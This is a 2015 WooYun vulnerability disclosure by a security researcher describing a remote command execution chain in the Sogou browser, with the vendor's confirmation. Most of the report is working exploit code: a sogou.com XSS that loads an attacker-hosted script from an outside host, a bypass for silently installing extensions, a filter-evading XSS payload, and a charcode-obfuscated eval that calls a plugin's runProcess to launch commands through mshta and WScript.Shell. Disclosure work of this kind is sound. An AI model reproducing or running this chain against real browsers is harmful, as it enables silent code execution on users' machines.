当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-097380

漏洞标题:搜狗浏览器远程命令执行之五

相关厂商:搜狗

漏洞作者: gainover

提交时间:2015-02-15 14:08

修复时间:2015-05-16 15:14

公开时间:2015-05-16 15:14

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-15: 细节已通知厂商并且等待厂商处理中
2015-02-15: 厂商已经确认,细节仅向厂商公开
2015-02-18: 细节向第三方安全合作伙伴开放
2015-04-11: 细节向核心白帽子及相关领域专家公开
2015-04-21: 细节向普通白帽子公开
2015-05-01: 细节向实习白帽子公开
2015-05-16: 细节向公众公开

简要描述:

搜狗对前面的漏洞报告进行了一定的修复,但是依然存在一些问题。
比如:
1. 修了被绕过
2. 修了没修好
3. 好像不好修,干脆不修了
4. 更新不思旧,带来新困扰
结合这些很小的脆弱点,依然可以再次实现命令执行。
新年快乐!

详细说明:

首先列举出一些没有被补好的问题。
1. WooYun: 搜狗浏览器远程命令执行之四 中利用了external.extension("installExtFromSidebarBox", ...");
搜狗对此进行了修复,限制了 external.extension("installExtFromSidebarBox", ... ) 只能在se://sidebarextmanager/index.html 这个域下使用。
这个修复确实不错,但是存在以下绕过方式:
window.open("se://sidebarextmanager/index.html").external.extension("installExtFromSidebarBox", ....);
虽然打开的新窗口是 “空白页”,但是返回的window.external 却具有了 se://sidebarextmanager/index.html 页面中 external的执行权限。
这样一来,我们又可以静默安装任何侧边栏插件。
2. WooYun: 搜狗浏览器远程命令执行之四 中的跨协议没有被修复。
即,利用链接点击的方式依然可以跳转至se-extension协议下:

var f=document.createElement("a");f.target="_blank";f.href="se-extension://ext740107210/html/balloon.html";document.body.appendChild(f);f.click();


3. WooYun: 搜狗浏览器远程命令执行之四 中使用了com.sogou.cxj009.PicViewer这个插件的XSS,开发人员对此进行了修复,过滤了来自 title的数据中的(,替换成了(。

3.png


显然这种过滤方式过于随意,可以轻松绕过。
例如下文报告中用到的:

<img src onerror=outerHTML=URL>


不需要用到括号,这里应该是转义 <, > ,而不是过滤 (。
因此这个XSS可以继续被利用。
4. WooYun: 治标不治本:搜狗浏览器继续远程执行任意命令 中所提到的利用window.open来进行跨插件调用 npapi接口的方法依然没有被改进,因此我们可以利用com.sogou.cxj009.PicViewer这个插件的XSS来跨插件调用其他插件所提供的API接口
5. 插件“发送到手机”(com.sogou.feichuan)更新到了1.0.0.24,相比1.0.0.23,其引入了一个新的dll文件。并且该文件提供了新的api可以导致任意命令执行。
<embed id="fcEmbed" type="application/sogou-computerinfo-plugin" style="width:0;height: 0;visibility: hidden" />

document.getElementById("fcEmbed").runProcess("C:/windows/system32/mshta.exe javascript:(new/**/ActiveXObject('WScript.Shell').run('calc.exe'));window.moveTo(-1000,-1000);window.close();")


新增的dll文件

5.png


参考前面的漏洞,插件更新时,应该考量这些API被滥用的可能性,应该对这些API的参数进行一定的判断。
-----------------------------------------------
以下是漏洞报告
-----------------------------------------------
1. 首先还是需要一个sogou.com的XSS
http://v.sogou.com/vc/play/redirect.jsp?url=http://live.wasu.cn/show/id/480%22};alert(1);a={%22a%22:%22&type=zhibo_vr&tvstation=%C7%E0%BA%A3%CE%C0%CA%D3
利用该xss调用 //xsst.sinaapp.com/poc/sogou5.js
http://v.sogou.com/vc/play/redirect.jsp?url=http://live.wasu.cn/show/id/480%22};if(!window._x){window._x=1;var s=document.createElement('script');s.src='//xsst.sinaapp.com/poc/sogou5.js?'%2bMath.random();document.body.appendChild(s);};a={%22a%22:%22&type=zhibo_vr&tvstation=%C7%E0%BA%A3%CE%C0%CA%D3
2. 使用window.open打开se://sidebarextmanager/index.html所返回的external对象,即可成功调用installExtFromSidebarBox
window.open("se://sidebarextmanager/index.html").external.extension("installExtFromSidebarBox", "com.sogou.movie", "1.0.0.6", "", '-1', '', '电影', "alert('OK')");
3. 根据 WooYun: 搜狗浏览器远程命令执行之四 中的方法,安装 com.sogou.cxj009.PicViewer,安装成功后,调用//xsst.sinaapp.com/poc/sogou5.1.js进行下一步:
window.open("se://sidebarextmanager/index.html").external.extension("installExtFromSidebarBox", "com.sogou.cxj009.PicViewer", "1.0.0.6", "", '-1', '', '电影', "function(){location.href=\"http://v.sogou.com/vc/play/redirect.jsp?url=http://live.wasu.cn/show/id/480%22};if(!window._x){window._x=1;var s=document.createElement('script');s.src='//xsst.sinaapp.com/poc/sogou5.1.js?'%2bMath.random();document.body.appendChild(s);};a={%22a%22:%22&type=zhibo_vr&tvstation=%C7%E0%BA%A3%CE%C0%CA%D3\";}");
4. 要进行执行命令,我们发现 最新版本的 “发送到手机”插件中新增了一个dll,
<embed id="fcEmbed" type="application/sogou-computerinfo-plugin" style="width:0;height: 0;visibility: hidden" />
并且该dll提供了执行命令的接口,
document.getElementById("fcEmbed").runProcess("C:/windows/system32/mshta.exe javascript:(new/**/ActiveXObject('WScript.Shell').run('calc.exe'));window.moveTo(-1000,-1000);window.close();")
所以我们结合 WooYun: 治标不治本:搜狗浏览器继续远程执行任意命令 提到的利用技巧,不难COPY出以下利用代码,
window.w=window.open("se-extension://ext15485894/background.html");
function load(){
if(window.w&&window.w.document.getElementById("fcEmbed")){
clearTimeout(window.xx);
window.w.document.getElementById("fcEmbed").runProcess("C:/windows/system32/mshta.exe javascript:(new/**/ActiveXObject('WScript.Shell').run('calc.exe'));window.moveTo(-1000,-1000);window.close();")
}
};
window.xx=setInterval(function(){load();},100);
5. 最终我们可以将//xsst.sinaapp.com/poc/sogou5.1.js修改为以下代码:
document.title="<img src onerror=outerHTML=URL>";
var f=document.createElement("a");f.target="_blank";f.href="se-extension://ext-1588466412/v.html#<img src onerror=eval(String.fromCharCode(119,105,110,100,111,119,46,119,61,119,105,110,100,111,119,46,111,112,101,110,40,34,115,101,45,101,120,116,101,110,115,105,111,110,58,47,47,101,120,116,49,53,52,56,53,56,57,52,47,98,97,99,107,103,114,111,117,110,100,46,104,116,109,108,34,41,59,13,13,102,117,110,99,116,105,111,110,32,108,111,97,100,40,41,123,13,13,9,105,102,40,119,105,110,100,111,119,46,119,38,38,119,105,110,100,111,119,46,119,46,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,102,99,69,109,98,101,100,34,41,41,123,13,13,9,9,99,108,101,97,114,84,105,109,101,111,117,116,40,119,105,110,100,111,119,46,120,120,41,59,13,13,9,9,119,105,110,100,111,119,46,119,46,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,102,99,69,109,98,101,100,34,41,46,114,117,110,80,114,111,99,101,115,115,40,34,67,58,47,119,105,110,100,111,119,115,47,115,121,115,116,101,109,51,50,47,109,115,104,116,97,46,101,120,101,32,106,97,118,97,115,99,114,105,112,116,58,40,110,101,119,47,42,42,47,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,83,104,101,108,108,39,41,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,41,59,119,105,110,100,111,119,46,109,111,118,101,84,111,40,45,49,48,48,48,44,45,49,48,48,48,41,59,119,105,110,100,111,119,46,99,108,111,115,101,40,41,59,34,41,13,13,9,125,13,13,125,59,13,13,119,105,110,100,111,119,46,120,120,61,115,101,116,73,110,116,101,114,118,97,108,40,102,117,110,99,116,105,111,110,40,41,123,108,111,97,100,40,41,59,125,44,49,48,48,41,59))>";document.body.appendChild(f);f.click();
6. 最终构造好的利用代码:
http://xsst.sinaapp.com/poc/sogou_combine.htm
效果如下:

4.png

漏洞证明:

win7 下
访问:http://xsst.sinaapp.com/poc/sogou_combine.htm
等待一会,打开了多个页面后,效果如下(开启或关闭UAC均可),指定命令被执行:

4.png

修复方案:

首先列举出一些没有被补好的问题。
1. WooYun: 搜狗浏览器远程命令执行之四 中利用了external.extension("installExtFromSidebarBox", ...");
搜狗对此进行了修复,限制了 external.extension("installExtFromSidebarBox", ... ) 只能在se://sidebarextmanager/index.html 这个域下使用。
这个修复确实不错,但是存在以下绕过方式:
window.open("se://sidebarextmanager/index.html").external.extension("installExtFromSidebarBox", ....);
虽然打开的新窗口是 “空白页”,但是返回的window.external 却具有了 se://sidebarextmanager/index.html 页面中 external的执行权限。
这样一来,我们又可以静默安装任何侧边栏插件。
2. WooYun: 搜狗浏览器远程命令执行之四 中的跨协议没有被修复。
即,利用链接点击的方式依然可以跳转至se-extension协议下:

var f=document.createElement("a");f.target="_blank";f.href="se-extension://ext740107210/html/balloon.html";document.body.appendChild(f);f.click();


3. WooYun: 搜狗浏览器远程命令执行之四 中使用了com.sogou.cxj009.PicViewer这个插件的XSS,开发人员对此进行了修复,过滤了来自 title的数据中的(,替换成了(。

3.png


显然这种过滤方式过于随意,可以轻松绕过。
例如下文报告中用到的:

<img src onerror=outerHTML=URL>


不需要用到括号,这里应该是转义 <, > ,而不是过滤 (。
因此这个XSS可以继续被利用。
4. WooYun: 治标不治本:搜狗浏览器继续远程执行任意命令 中所提到的利用window.open来进行跨插件调用 npapi接口的方法依然没有被改进,因此我们可以利用com.sogou.cxj009.PicViewer这个插件的XSS来跨插件调用其他插件所提供的API接口
5. 插件“发送到手机”(com.sogou.feichuan)更新到了1.0.0.24,相比1.0.0.23,其引入了一个新的dll文件。并且该文件提供了新的api可以导致任意命令执行。
<embed id="fcEmbed" type="application/sogou-computerinfo-plugin" style="width:0;height: 0;visibility: hidden" />

document.getElementById("fcEmbed").runProcess("C:/windows/system32/mshta.exe javascript:(new/**/ActiveXObject('WScript.Shell').run('calc.exe'));window.moveTo(-1000,-1000);window.close();")


新增的dll文件

5.png


参考前面的漏洞,插件更新时,应该考量这些API被滥用的可能性,应该对这些API的参数进行一定的判断。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-02-15 15:13

厂商回复:

感谢支持并提供详尽的POC及修复建议,新年快乐

最新状态:

暂无